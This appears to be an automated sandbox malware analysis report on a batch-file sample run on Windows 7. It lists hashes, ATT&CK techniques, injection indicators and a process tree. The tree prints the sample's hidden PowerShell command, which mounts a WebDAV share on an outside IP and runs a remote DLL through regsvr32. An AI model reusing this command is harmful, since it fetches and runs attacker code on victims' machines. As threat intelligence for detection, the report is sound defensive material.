4c7740b7d38abe109bdfeceaa02921b6da3e77160b266be218bef1dff12b672f

Analysis

max time kernel
122s
max time network
127s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
19/07/2024, 12:20

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General

Target

16877286262575524007.bat
Size

2KB
MD5

8b14065a4de48df669aca445286310f2
SHA1

c3f9980c9e028a04a1668c7a77c948053f9e9c08
SHA256

02d55e130d3c751d5f4b5759226b2117bcbafd7870f0e3a1b3e1d3b18ccf7224
SHA512

4b33a492a464a9c2164eb84fe2149a0d086f3b6d6a1b75e4b5c90bd5c29be179453e2a96227c6c1117f283e5312faea5252b0ffc0e3380a1494717c912c42e09

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
620	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
620	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	620	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2424	wordpad.exe
2424	wordpad.exe
2424	wordpad.exe
2424	wordpad.exe
2424	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 3028 wrote to memory of 2424	3028	cmd.exe	31
PID 3028 wrote to memory of 2424	3028	cmd.exe	31
PID 3028 wrote to memory of 2424	3028	cmd.exe	31
PID 3028 wrote to memory of 620	3028	cmd.exe	32
PID 3028 wrote to memory of 620	3028	cmd.exe	32
PID 3028 wrote to memory of 620	3028	cmd.exe	32
PID 620 wrote to memory of 2832	620	powershell.exe	34
PID 620 wrote to memory of 2832	620	powershell.exe	34
PID 620 wrote to memory of 2832	620	powershell.exe	34
PID 620 wrote to memory of 2856	620	powershell.exe	35
PID 620 wrote to memory of 2856	620	powershell.exe	35
PID 620 wrote to memory of 2856	620	powershell.exe	35
PID 620 wrote to memory of 2856	620	powershell.exe	35
PID 620 wrote to memory of 2856	620	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\16877286262575524007.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3028
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2424
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\283021131822935.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:620
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2832
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\283021131822935.dll
    3⤵
    PID:2856

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/620-23-0x000000001B560000-0x000000001B842000-memory.dmp

Filesize
2.9MB

Download
memory/620-24-0x0000000001D30000-0x0000000001D38000-memory.dmp

Filesize
32KB

Download